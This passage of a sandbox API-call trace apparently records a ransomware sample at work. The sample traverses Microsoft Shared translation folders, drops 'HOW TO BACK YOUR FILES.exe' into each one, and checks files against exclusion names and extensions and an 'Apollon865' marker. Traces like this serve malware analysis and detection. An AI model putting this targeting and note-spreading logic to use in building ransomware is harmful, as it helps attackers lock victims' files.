	[0074.825] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="pagefile.sys") returned -1
	[0074.825] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="boot") returned 1
	[0074.825] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="ids.txt") returned 1
	[0074.825] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="ntuser.dat") returned -1
	[0074.825] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="perflogs") returned -1
	[0074.825] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="MSBuild") returned -1
	[0074.825] lstrlenW (lpString="MSB1FREN.DLL") returned 12
	[0074.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*") returned 62
	[0074.825] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="MSB1FREN.DLL" | out: lpString1="MSB1FREN.DLL") returned="MSB1FREN.DLL"
	[0074.825] lstrlenW (lpString="MSB1FREN.DLL") returned 12
	[0074.825] lstrlenW (lpString="Apollon865") returned 10
	[0074.825] lstrcmpiW (lpString1="B1FREN.DLL", lpString2="Apollon865") returned 1
	[0074.825] lstrlenW (lpString=".dll") returned 4
	[0074.825] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2=".dll") returned 1
	[0074.825] lstrlenW (lpString=".lnk") returned 4
	[0074.825] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2=".lnk") returned 1
	[0074.825] lstrlenW (lpString=".ini") returned 4
	[0074.825] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2=".ini") returned 1
	[0074.825] lstrlenW (lpString=".sys") returned 4
	[0074.825] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2=".sys") returned 1
	[0074.825] lstrlenW (lpString="MSB1FREN.DLL") returned 12
	[0074.825] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="MSB1FREN.ITS" | out: lpString1="MSB1FREN.ITS") returned="MSB1FREN.ITS"
	[0074.825] lstrlenW (lpString="MSB1FREN.ITS") returned 12
	[0074.825] lstrlenW (lpString="Apollon865") returned 10
	[0074.825] lstrcmpiW (lpString1="B1FREN.ITS", lpString2="Apollon865") returned 1
	[0074.825] lstrlenW (lpString=".dll") returned 4
	[0074.825] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2=".dll") returned 1
	[0074.826] lstrlenW (lpString=".lnk") returned 4
	[0074.826] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2=".lnk") returned 1
	[0074.826] lstrlenW (lpString=".ini") returned 4
	[0074.826] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2=".ini") returned 1
	[0074.826] lstrlenW (lpString=".sys") returned 4
	[0074.826] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2=".sys") returned 1
	[0074.826] lstrlenW (lpString="MSB1FREN.ITS") returned 12
	[0074.826] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="WT61FR.LEX" | out: lpString1="WT61FR.LEX") returned="WT61FR.LEX"
	[0074.826] lstrlenW (lpString="WT61FR.LEX") returned 10
	[0074.826] lstrlenW (lpString="Apollon865") returned 10
	[0074.826] lstrlenW (lpString=".dll") returned 4
	[0074.826] lstrcmpiW (lpString1="WT61FR.LEX", lpString2=".dll") returned 1
	[0074.826] lstrlenW (lpString=".lnk") returned 4
	[0074.826] lstrcmpiW (lpString1="WT61FR.LEX", lpString2=".lnk") returned 1
	[0074.826] lstrlenW (lpString=".ini") returned 4
	[0074.826] lstrcmpiW (lpString1="WT61FR.LEX", lpString2=".ini") returned 1
	[0074.826] lstrlenW (lpString=".sys") returned 4
	[0074.826] lstrcmpiW (lpString1="WT61FR.LEX", lpString2=".sys") returned 1
	[0074.826] lstrlenW (lpString="WT61FR.LEX") returned 10
	[0074.826] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR"
	[0074.826] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf810 | out: hHeap=0x580000) returned 1
	[0074.826] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0074.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR") returned 60
	[0074.826] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR"
	[0074.826] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.826] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.830] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.830] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44ac3670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44ac3670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.830] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.831] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.831] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.831] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44ac3670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44ac3670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.831] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.831] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.831] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.831] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.831] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44ac3670, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x44ac3670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0074.831] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0074.831] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1
	[0074.831] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.831] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="Apollon865.txt.exe") returned 1
	[0074.831] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2=".") returned 1
	[0074.831] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="..") returned 1
	[0074.831] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="windows") returned -1
	[0074.831] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="bootmgr") returned 1
	[0074.831] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="temp") returned -1
	[0074.831] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="pagefile.sys") returned -1
	[0074.831] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="boot") returned 1
	[0074.831] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="ids.txt") returned 1
	[0074.831] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="ntuser.dat") returned -1
	[0074.831] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="perflogs") returned -1
	[0074.831] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="MSBuild") returned -1
	[0074.831] lstrlenW (lpString="MSB1FRAR.ITS") returned 12
	[0074.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*") returned 62
	[0074.831] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="MSB1FRAR.ITS" | out: lpString1="MSB1FRAR.ITS") returned="MSB1FRAR.ITS"
	[0074.831] lstrlenW (lpString="MSB1FRAR.ITS") returned 12
	[0074.831] lstrlenW (lpString="Apollon865") returned 10
	[0074.831] lstrcmpiW (lpString1="B1FRAR.ITS", lpString2="Apollon865") returned 1
	[0074.831] lstrlenW (lpString=".dll") returned 4
	[0074.831] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2=".dll") returned 1
	[0074.831] lstrlenW (lpString=".lnk") returned 4
	[0074.831] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2=".lnk") returned 1
	[0074.831] lstrlenW (lpString=".ini") returned 4
	[0074.831] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2=".ini") returned 1
	[0074.831] lstrlenW (lpString=".sys") returned 4
	[0074.832] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2=".sys") returned 1
	[0074.832] lstrlenW (lpString="MSB1FRAR.ITS") returned 12
	[0074.832] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN"
	[0074.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf678 | out: hHeap=0x580000) returned 1
	[0074.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0074.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN") returned 60
	[0074.832] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN"
	[0074.832] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.832] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.836] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.836] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44ac3670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44ac3670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.836] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.836] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.836] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.836] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44ac3670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44ac3670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.836] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.836] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.836] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.837] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.837] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44ac3670, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x44ac3670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0074.837] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0074.837] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1
	[0074.837] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.837] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0074.837] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2=".") returned 1
	[0074.837] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="..") returned 1
	[0074.837] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="windows") returned -1
	[0074.837] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="bootmgr") returned 1
	[0074.837] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="temp") returned -1
	[0074.837] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="pagefile.sys") returned -1
	[0074.837] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="boot") returned 1
	[0074.837] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="ids.txt") returned 1
	[0074.837] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="ntuser.dat") returned -1
	[0074.837] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="perflogs") returned -1
	[0074.837] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="MSBuild") returned -1
	[0074.837] lstrlenW (lpString="MSB1ESEN.DLL") returned 12
	[0074.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*") returned 62
	[0074.837] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="MSB1ESEN.DLL" | out: lpString1="MSB1ESEN.DLL") returned="MSB1ESEN.DLL"
	[0074.837] lstrlenW (lpString="MSB1ESEN.DLL") returned 12
	[0074.837] lstrlenW (lpString="Apollon865") returned 10
	[0074.837] lstrcmpiW (lpString1="B1ESEN.DLL", lpString2="Apollon865") returned 1
	[0074.837] lstrlenW (lpString=".dll") returned 4
	[0074.837] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2=".dll") returned 1
	[0074.837] lstrlenW (lpString=".lnk") returned 4
	[0074.837] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2=".lnk") returned 1
	[0074.837] lstrlenW (lpString=".ini") returned 4
	[0074.837] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2=".ini") returned 1
	[0074.837] lstrlenW (lpString=".sys") returned 4
	[0074.837] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2=".sys") returned 1
	[0074.837] lstrlenW (lpString="MSB1ESEN.DLL") returned 12
	[0074.837] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="MSB1ESEN.ITS" | out: lpString1="MSB1ESEN.ITS") returned="MSB1ESEN.ITS"
	[0074.838] lstrlenW (lpString="MSB1ESEN.ITS") returned 12
	[0074.838] lstrlenW (lpString="Apollon865") returned 10
	[0074.838] lstrcmpiW (lpString1="B1ESEN.ITS", lpString2="Apollon865") returned 1
	[0074.838] lstrlenW (lpString=".dll") returned 4
	[0074.838] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2=".dll") returned 1
	[0074.838] lstrlenW (lpString=".lnk") returned 4
	[0074.838] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2=".lnk") returned 1
	[0074.838] lstrlenW (lpString=".ini") returned 4
	[0074.838] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2=".ini") returned 1
	[0074.838] lstrlenW (lpString=".sys") returned 4
	[0074.838] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2=".sys") returned 1
	[0074.838] lstrlenW (lpString="MSB1ESEN.ITS") returned 12
	[0074.838] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="WT61ES.LEX" | out: lpString1="WT61ES.LEX") returned="WT61ES.LEX"
	[0074.838] lstrlenW (lpString="WT61ES.LEX") returned 10
	[0074.838] lstrlenW (lpString="Apollon865") returned 10
	[0074.838] lstrlenW (lpString=".dll") returned 4
	[0074.838] lstrcmpiW (lpString1="WT61ES.LEX", lpString2=".dll") returned 1
	[0074.838] lstrlenW (lpString=".lnk") returned 4
	[0074.838] lstrcmpiW (lpString1="WT61ES.LEX", lpString2=".lnk") returned 1
	[0074.838] lstrlenW (lpString=".ini") returned 4
	[0074.838] lstrcmpiW (lpString1="WT61ES.LEX", lpString2=".ini") returned 1
	[0074.838] lstrlenW (lpString=".sys") returned 4
	[0074.838] lstrcmpiW (lpString1="WT61ES.LEX", lpString2=".sys") returned 1
	[0074.838] lstrlenW (lpString="WT61ES.LEX") returned 10
	[0074.838] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR"
	[0074.838] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0074.838] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0074.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR") returned 60
	[0074.838] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR"
	[0074.838] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.839] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.843] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.843] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44ae97d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44ae97d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.843] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.843] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.843] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.843] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44ae97d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44ae97d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.843] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.843] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.843] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.843] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.843] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44ae97d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x44ae97d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0074.844] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0074.844] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1
	[0074.844] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.844] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="Apollon865.txt.exe") returned 1
	[0074.844] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2=".") returned 1
	[0074.844] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="..") returned 1
	[0074.844] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="windows") returned -1
	[0074.844] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="bootmgr") returned 1
	[0074.844] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="MSB1ENFR.ITS" | out: lpString1="MSB1ENFR.ITS") returned="MSB1ENFR.ITS"
	[0074.844] lstrlenW (lpString="MSB1ENFR.ITS") returned 12
	[0074.844] lstrlenW (lpString="Apollon865") returned 10
	[0074.844] lstrcmpiW (lpString1="B1ENFR.ITS", lpString2="Apollon865") returned 1
	[0074.844] lstrlenW (lpString=".dll") returned 4
	[0074.844] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2=".dll") returned 1
	[0074.844] lstrlenW (lpString=".lnk") returned 4
	[0074.844] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2=".lnk") returned 1
	[0074.844] lstrlenW (lpString=".ini") returned 4
	[0074.844] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2=".ini") returned 1
	[0074.844] lstrlenW (lpString=".sys") returned 4
	[0074.844] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2=".sys") returned 1
	[0074.844] lstrlenW (lpString="MSB1ENFR.ITS") returned 12
	[0074.844] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES"
	[0074.844] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0074.844] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0074.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES") returned 60
	[0074.844] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES"
	[0074.844] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.844] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.848] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
